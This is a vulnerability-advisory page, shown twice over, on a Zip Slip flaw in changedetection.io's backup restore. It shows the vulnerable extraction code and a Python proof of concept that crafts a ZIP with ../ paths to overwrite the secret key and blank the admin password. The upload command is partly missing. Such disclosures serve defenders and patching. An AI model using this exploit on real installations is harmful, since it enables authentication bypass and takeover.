CVE-2026-29065High▾ Twilight

changedetection.io has Zip Slip vulnerability in the backup restore functionality

▾ Twilight zone — High severity, or a signal on a lesser flaw

Depth score41/ 100 · Moderate

impact 41.3 · likelihood 0.1 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Mar 4, 2026

Updated

Jul 13, 2026

CVSS

—

Vendor

changedetection-io

Product

changedetection-io

CWE

—

Depth score

41 · Moderate

EPSS

0.53% · p43

Platforms

—

Source

OSV

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Jul 13.

0.5% → 0.5%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 131 days

Mar 4, 2026Published
Disclosed via OSV
Jul 13, 2026Record revised
Last analysed / modified upstream
Jul 13, 2026EPSS first tracked
0.5%

changedetection-io #osv #pip

Affected

changedetection-io < 0.54.4

Patched in

changedetection-io 0.54.4

Full technical detail▾

Overview

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP	Target File	Impact
../secret.txt	Flask secret key	Session forgery, auth bypass
../changedetection.json	App settings	Disable password, inject backdoor
../url-watches.json	Watch index	Inject malicious watches
../{uuid}/watch.json	Watch config	Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "[email protected]" \
  -F "include_watches=y" \
  -F "include_settings=y"

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

Affected packages

changedetection-io < 0.54.4

Remediation

Upgrade to a patched release:

changedetection-io 0.54.4

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#osv#pip

← Back to feed

CVE-2026-29065High▾ Twilight

changedetection.io has Zip Slip vulnerability in the backup restore functionality

▾ Twilight zone — High severity, or a signal on a lesser flaw

Depth score41/ 100 · Moderate

impact 41.3 · likelihood 0.1 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Mar 4, 2026

Updated

Jul 13, 2026

CVSS

—

Vendor

changedetection-io

Product

changedetection-io

CWE

—

Depth score

41 · Moderate

EPSS

0.53% · p43

Platforms

—

Source

OSV

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Jul 13.

0.5% → 0.5%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 131 days

Mar 4, 2026Published
Disclosed via OSV
Jul 13, 2026Record revised
Last analysed / modified upstream
Jul 13, 2026EPSS first tracked
0.5%

changedetection-io #osv #pip

Affected

changedetection-io < 0.54.4

Patched in

changedetection-io 0.54.4

Full technical detail▾

Overview

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

Path in ZIP	Target File	Impact
../secret.txt	Flask secret key	Session forgery, auth bypass
../changedetection.json	App settings	Disable password, inject backdoor
../url-watches.json	Watch index	Inject malicious watches
../{uuid}/watch.json	Watch config	Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "[email protected]" \
  -F "include_watches=y" \
  -F "include_settings=y"

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

Affected packages

changedetection-io < 0.54.4

Remediation

Upgrade to a patched release:

changedetection-io 0.54.4

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#osv#pip